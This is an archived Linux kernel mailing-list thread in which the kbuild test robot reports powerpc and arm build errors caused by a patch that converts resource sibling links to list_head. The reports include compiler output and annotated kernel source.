Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov@gmail.c
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 13:40:43 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFeVW-000075-57
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 13:40:42 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id CBF302096107A;
	Mon,  7 May 2018 04:42:52 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=134.134.136.24; helo=mga09.intel.com;
 envelope-from=fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga09.intel.com (mga09.intel.com [134.134.136.24])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 72DD02096106E
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon,  7 May 2018 04:42:50 -0700 (PDT)
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
 by orsmga102.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 07 May 2018 04:42:50 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.49,373,1520924400"; 
 d="gz'50?scan'50,208,50";a="43784847"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by fmsmga002.fm.intel.com with ESMTP; 07 May 2018 04:42:43 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
 id 1fFeXS-000KXg-CM; Mon, 07 May 2018 19:42:42 +0800
In-Reply-To: <20180507063224.24229-2-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Content-Disposition: inline
X-Content-Filtered-By: Mailman/MimeDel 2.1.26
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9623 gmane.linux.drivers.devicetree:268933 gmane.linux.kernel.pci:72251 gmane.linux.kernel.input:61125 gmane.linux.ports.parisc:28583 gmane.linux.kernel.kexec:20626 gmane.linux.kernel:2760448
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9623>

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.17-rc4 next-20180504]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180507-144345
config: powerpc-defconfig (attached as .config)
compiler: powerpc64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   arch/powerpc/kernel/pci-common.c: In function 'pci_process_bridge_OF_ranges':
>> arch/powerpc/kernel/pci-common.c:764:44: error: incompatible types when assigning to type 'struct list_head' from type 'void *'
       res->parent = res->child = res->sibling = NULL;
                                               ^
   arch/powerpc/kernel/pci-common.c: In function 'reparent_resources':
>> arch/powerpc/kernel/pci-common.c:1100:10: error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
     for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
             ^
   arch/powerpc/kernel/pci-common.c:1100:50: error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
     for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
                                                     ^
>> arch/powerpc/kernel/pci-common.c:1113:13: error: incompatible types when assigning to type 'struct list_head' from type 'struct resource *'
     res->child = *firstpp;
                ^
   arch/powerpc/kernel/pci-common.c:1114:15: error: incompatible types when assigning to type 'struct list_head' from type 'struct resource *'
     res->sibling = *pp;
                  ^
>> arch/powerpc/kernel/pci-common.c:1117:9: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
     for (p = res->child; p != NULL; p = p->sibling) {
            ^
   arch/powerpc/kernel/pci-common.c:1117:36: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
     for (p = res->child; p != NULL; p = p->sibling) {
                                       ^
   cc1: all warnings being treated as errors

vim +764 arch/powerpc/kernel/pci-common.c

13dccb9e Benjamin Herrenschmidt 2007-12-11  642  
13dccb9e Benjamin Herrenschmidt 2007-12-11  643  /**
13dccb9e Benjamin Herrenschmidt 2007-12-11  644   * pci_process_bridge_OF_ranges - Parse PCI bridge resources from device tree
13dccb9e Benjamin Herrenschmidt 2007-12-11  645   * @hose: newly allocated pci_controller to be setup
13dccb9e Benjamin Herrenschmidt 2007-12-11  646   * @dev: device node of the host bridge
13dccb9e Benjamin Herrenschmidt 2007-12-11  647   * @primary: set if primary bus (32 bits only, soon to be deprecated)
13dccb9e Benjamin Herrenschmidt 2007-12-11  648   *
13dccb9e Benjamin Herrenschmidt 2007-12-11  649   * This function will parse the "ranges" property of a PCI host bridge device
13dccb9e Benjamin Herrenschmidt 2007-12-11  650   * node and setup the resource mapping of a pci controller based on its
13dccb9e Benjamin Herrenschmidt 2007-12-11  651   * content.
13dccb9e Benjamin Herrenschmidt 2007-12-11  652   *
13dccb9e Benjamin Herrenschmidt 2007-12-11  653   * Life would be boring if it wasn't for a few issues that we have to deal
13dccb9e Benjamin Herrenschmidt 2007-12-11  654   * with here:
13dccb9e Benjamin Herrenschmidt 2007-12-11  655   *
13dccb9e Benjamin Herrenschmidt 2007-12-11  656   *   - We can only cope with one IO space range and up to 3 Memory space
13dccb9e Benjamin Herrenschmidt 2007-12-11  657   *     ranges. However, some machines (thanks Apple !) tend to split their
13dccb9e Benjamin Herrenschmidt 2007-12-11  658   *     space into lots of small contiguous ranges. So we have to coalesce.
13dccb9e Benjamin Herrenschmidt 2007-12-11  659   *
13dccb9e Benjamin Herrenschmidt 2007-12-11  660   *   - Some busses have IO space not starting at 0, which causes trouble with
13dccb9e Benjamin Herrenschmidt 2007-12-11  661   *     the way we do our IO resource renumbering. The code somewhat deals with
13dccb9e Benjamin Herrenschmidt 2007-12-11  662   *     it for 64 bits but I would expect problems on 32 bits.
13dccb9e Benjamin Herrenschmidt 2007-12-11  663   *
13dccb9e Benjamin Herrenschmidt 2007-12-11  664   *   - Some 32 bits platforms such as 4xx can have physical space larger than
13dccb9e Benjamin Herrenschmidt 2007-12-11  665   *     32 bits so we need to use 64 bits values for the parsing
13dccb9e Benjamin Herrenschmidt 2007-12-11  666   */
cad5cef6 Greg Kroah-Hartman     2012-12-21  667  void pci_process_bridge_OF_ranges(struct pci_controller *hose,
cad5cef6 Greg Kroah-Hartman     2012-12-21  668  				  struct device_node *dev, int primary)
13dccb9e Benjamin Herrenschmidt 2007-12-11  669  {
858957ab Kevin Hao              2013-05-16  670  	int memno = 0;
13dccb9e Benjamin Herrenschmidt 2007-12-11  671  	struct resource *res;
654837e8 Andrew Murray          2014-02-25  672  	struct of_pci_range range;
654837e8 Andrew Murray          2014-02-25  673  	struct of_pci_range_parser parser;
13dccb9e Benjamin Herrenschmidt 2007-12-11  674  
b7c670d6 Rob Herring            2017-08-21  675  	printk(KERN_INFO "PCI host bridge %pOF %s ranges:\n",
b7c670d6 Rob Herring            2017-08-21  676  	       dev, primary ? "(primary)" : "");
13dccb9e Benjamin Herrenschmidt 2007-12-11  677  
654837e8 Andrew Murray          2014-02-25  678  	/* Check for ranges property */
654837e8 Andrew Murray          2014-02-25  679  	if (of_pci_range_parser_init(&parser, dev))
13dccb9e Benjamin Herrenschmidt 2007-12-11  680  		return;
13dccb9e Benjamin Herrenschmidt 2007-12-11  681  
13dccb9e Benjamin Herrenschmidt 2007-12-11  682  	/* Parse it */
654837e8 Andrew Murray          2014-02-25  683  	for_each_of_pci_range(&parser, &range) {
e9f82cb7 Benjamin Herrenschmidt 2008-10-14  684  		/* If we failed translation or got a zero-sized region
e9f82cb7 Benjamin Herrenschmidt 2008-10-14  685  		 * (some FW try to feed us with non sensical zero sized regions
e9f82cb7 Benjamin Herrenschmidt 2008-10-14  686  		 * such as power3 which look like some kind of attempt at exposing
e9f82cb7 Benjamin Herrenschmidt 2008-10-14  687  		 * the VGA memory hole)
e9f82cb7 Benjamin Herrenschmidt 2008-10-14  688  		 */
654837e8 Andrew Murray          2014-02-25  689  		if (range.cpu_addr == OF_BAD_ADDR || range.size == 0)
13dccb9e Benjamin Herrenschmidt 2007-12-11  690  			continue;
13dccb9e Benjamin Herrenschmidt 2007-12-11  691  
13dccb9e Benjamin Herrenschmidt 2007-12-11  692  		/* Act based on address space type */
13dccb9e Benjamin Herrenschmidt 2007-12-11  693  		res = NULL;
654837e8 Andrew Murray          2014-02-25  694  		switch (range.flags & IORESOURCE_TYPE_BITS) {
654837e8 Andrew Murray          2014-02-25  695  		case IORESOURCE_IO:
13dccb9e Benjamin Herrenschmidt 2007-12-11  696  			printk(KERN_INFO
13dccb9e Benjamin Herrenschmidt 2007-12-11  697  			       "  IO 0x%016llx..0x%016llx -> 0x%016llx\n",
654837e8 Andrew Murray          2014-02-25  698  			       range.cpu_addr, range.cpu_addr + range.size - 1,
654837e8 Andrew Murray          2014-02-25  699  			       range.pci_addr);
13dccb9e Benjamin Herrenschmidt 2007-12-11  700  
13dccb9e Benjamin Herrenschmidt 2007-12-11  701  			/* We support only one IO range */
13dccb9e Benjamin Herrenschmidt 2007-12-11  702  			if (hose->pci_io_size) {
13dccb9e Benjamin Herrenschmidt 2007-12-11  703  				printk(KERN_INFO
13dccb9e Benjamin Herrenschmidt 2007-12-11  704  				       " \\--> Skipped (too many) !\n");
13dccb9e Benjamin Herrenschmidt 2007-12-11  705  				continue;
13dccb9e Benjamin Herrenschmidt 2007-12-11  706  			}
13dccb9e Benjamin Herrenschmidt 2007-12-11  707  #ifdef CONFIG_PPC32
13dccb9e Benjamin Herrenschmidt 2007-12-11  708  			/* On 32 bits, limit I/O space to 16MB */
654837e8 Andrew Murray          2014-02-25  709  			if (range.size > 0x01000000)
654837e8 Andrew Murray          2014-02-25  710  				range.size = 0x01000000;
13dccb9e Benjamin Herrenschmidt 2007-12-11  711  
13dccb9e Benjamin Herrenschmidt 2007-12-11  712  			/* 32 bits needs to map IOs here */
654837e8 Andrew Murray          2014-02-25  713  			hose->io_base_virt = ioremap(range.cpu_addr,
654837e8 Andrew Murray          2014-02-25  714  						range.size);
13dccb9e Benjamin Herrenschmidt 2007-12-11  715  
13dccb9e Benjamin Herrenschmidt 2007-12-11  716  			/* Expect trouble if pci_addr is not 0 */
13dccb9e Benjamin Herrenschmidt 2007-12-11  717  			if (primary)
13dccb9e Benjamin Herrenschmidt 2007-12-11  718  				isa_io_base =
13dccb9e Benjamin Herrenschmidt 2007-12-11  719  					(unsigned long)hose->io_base_virt;
13dccb9e Benjamin Herrenschmidt 2007-12-11  720  #endif /* CONFIG_PPC32 */
13dccb9e Benjamin Herrenschmidt 2007-12-11  721  			/* pci_io_size and io_base_phys always represent IO
13dccb9e Benjamin Herrenschmidt 2007-12-11  722  			 * space starting at 0 so we factor in pci_addr
13dccb9e Benjamin Herrenschmidt 2007-12-11  723  			 */
654837e8 Andrew Murray          2014-02-25  724  			hose->pci_io_size = range.pci_addr + range.size;
654837e8 Andrew Murray          2014-02-25  725  			hose->io_base_phys = range.cpu_addr - range.pci_addr;
13dccb9e Benjamin Herrenschmidt 2007-12-11  726  
13dccb9e Benjamin Herrenschmidt 2007-12-11  727  			/* Build resource */
13dccb9e Benjamin Herrenschmidt 2007-12-11  728  			res = &hose->io_resource;
654837e8 Andrew Murray          2014-02-25  729  			range.cpu_addr = range.pci_addr;
13dccb9e Benjamin Herrenschmidt 2007-12-11  730  			break;
654837e8 Andrew Murray          2014-02-25  731  		case IORESOURCE_MEM:
13dccb9e Benjamin Herrenschmidt 2007-12-11  732  			printk(KERN_INFO
13dccb9e Benjamin Herrenschmidt 2007-12-11  733  			       " MEM 0x%016llx..0x%016llx -> 0x%016llx %s\n",
654837e8 Andrew Murray          2014-02-25  734  			       range.cpu_addr, range.cpu_addr + range.size - 1,
654837e8 Andrew Murray          2014-02-25  735  			       range.pci_addr,
654837e8 Andrew Murray          2014-02-25  736  			       (range.pci_space & 0x40000000) ?
654837e8 Andrew Murray          2014-02-25  737  			       "Prefetch" : "");
13dccb9e Benjamin Herrenschmidt 2007-12-11  738  
13dccb9e Benjamin Herrenschmidt 2007-12-11  739  			/* We support only 3 memory ranges */
13dccb9e Benjamin Herrenschmidt 2007-12-11  740  			if (memno >= 3) {
13dccb9e Benjamin Herrenschmidt 2007-12-11  741  				printk(KERN_INFO
13dccb9e Benjamin Herrenschmidt 2007-12-11  742  				       " \\--> Skipped (too many) !\n");
13dccb9e Benjamin Herrenschmidt 2007-12-11  743  				continue;
13dccb9e Benjamin Herrenschmidt 2007-12-11  744  			}
13dccb9e Benjamin Herrenschmidt 2007-12-11  745  			/* Handles ISA memory hole space here */
654837e8 Andrew Murray          2014-02-25  746  			if (range.pci_addr == 0) {
13dccb9e Benjamin Herrenschmidt 2007-12-11  747  				if (primary || isa_mem_base == 0)
654837e8 Andrew Murray          2014-02-25  748  					isa_mem_base = range.cpu_addr;
654837e8 Andrew Murray          2014-02-25  749  				hose->isa_mem_phys = range.cpu_addr;
654837e8 Andrew Murray          2014-02-25  750  				hose->isa_mem_size = range.size;
13dccb9e Benjamin Herrenschmidt 2007-12-11  751  			}
13dccb9e Benjamin Herrenschmidt 2007-12-11  752  
13dccb9e Benjamin Herrenschmidt 2007-12-11  753  			/* Build resource */
654837e8 Andrew Murray          2014-02-25  754  			hose->mem_offset[memno] = range.cpu_addr -
654837e8 Andrew Murray          2014-02-25  755  							range.pci_addr;
13dccb9e Benjamin Herrenschmidt 2007-12-11  756  			res = &hose->mem_resources[memno++];
13dccb9e Benjamin Herrenschmidt 2007-12-11  757  			break;
13dccb9e Benjamin Herrenschmidt 2007-12-11  758  		}
13dccb9e Benjamin Herrenschmidt 2007-12-11  759  		if (res != NULL) {
aeba3731 Michael Ellerman       2014-10-16  760  			res->name = dev->full_name;
aeba3731 Michael Ellerman       2014-10-16  761  			res->flags = range.flags;
aeba3731 Michael Ellerman       2014-10-16  762  			res->start = range.cpu_addr;
aeba3731 Michael Ellerman       2014-10-16  763  			res->end = range.cpu_addr + range.size - 1;
aeba3731 Michael Ellerman       2014-10-16 @764  			res->parent = res->child = res->sibling = NULL;
13dccb9e Benjamin Herrenschmidt 2007-12-11  765  		}
13dccb9e Benjamin Herrenschmidt 2007-12-11  766  	}
13dccb9e Benjamin Herrenschmidt 2007-12-11  767  }
fa462f2d Benjamin Herrenschmidt 2007-12-20  768  

:::::: The code at line 764 was first introduced by commit
:::::: aeba3731b150188685225b510886f1370d8814de powerpc/pci: Fix IO space breakage after of_pci_range_to_resource() change

:::::: TO: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
:::::: CC: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel
Subject: Re: [PATCH v4 1/3] resource: Use list_head to link sibling resource
Date: Mon, 7 May 2018 23:50:22 +0800
Lines: 64
Approved: news@gmane.org
Message-ID: <201805072210.H1bsHs9Y%fengguang.wu@intel.com>
References: <20180507063224.24229-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525708146 15183 195.159.176.226 (7 May 2018 15:49:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 May 2018 15:49:06 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov@gmail.c
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Mon May 07 17:48:57 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fFiNh-0003db-Pq
	for gln-linux-nvdimm@m.gmane.org; Mon, 07 May 2018 17:48:54 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 8029F2096107F;
	Mon,  7 May 2018 08:51:04 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=134.134.136.65; helo=mga03.intel.com;
 envelope-from=fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga03.intel.com (mga03.intel.com [134.134.136.65])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id D64D52096106C
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon,  7 May 2018 08:51:02 -0700 (PDT)
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from orsmga006.jf.intel.com ([10.7.209.51])
 by orsmga103.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 07 May 2018 08:51:02 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.49,374,1520924400"; 
 d="gz'50?scan'50,208,50";a="39901804"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga006.jf.intel.com with ESMTP; 07 May 2018 08:50:52 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
 id 1fFiPb-000HYp-DG; Mon, 07 May 2018 23:50:51 +0800
In-Reply-To: <20180507063224.24229-2-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Content-Disposition: inline
X-Content-Filtered-By: Mailman/MimeDel 2.1.26
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9624 gmane.linux.drivers.devicetree:268993 gmane.linux.kernel.pci:72253 gmane.linux.kernel.input:61127 gmane.linux.ports.parisc:28584 gmane.linux.kernel.kexec:20627 gmane.linux.kernel:2760645
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9624>

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.17-rc4 next-20180504]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180507-144345
config: arm-allmodconfig (attached as .config)
compiler: arm-linux-gnueabi-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=arm 

All errors (new ones prefixed by >>):

   arch/arm/plat-samsung/pm-check.c: In function 's3c_pm_run_res':
>> arch/arm/plat-samsung/pm-check.c:49:18: error: invalid operands to binary != (have 'struct list_head' and 'void *')
      if (ptr->child != NULL)
          ~~~~~~~~~~ ^~
>> arch/arm/plat-samsung/pm-check.c:50:19: error: incompatible type for argument 1 of 's3c_pm_run_res'
       s3c_pm_run_res(ptr->child, fn, arg);
                      ^~~
   arch/arm/plat-samsung/pm-check.c:46:13: note: expected 'struct resource *' but argument is of type 'struct list_head'
    static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
                ^~~~~~~~~~~~~~
>> arch/arm/plat-samsung/pm-check.c:60:7: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
      ptr = ptr->sibling;
          ^

vim +49 arch/arm/plat-samsung/pm-check.c

549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  45  
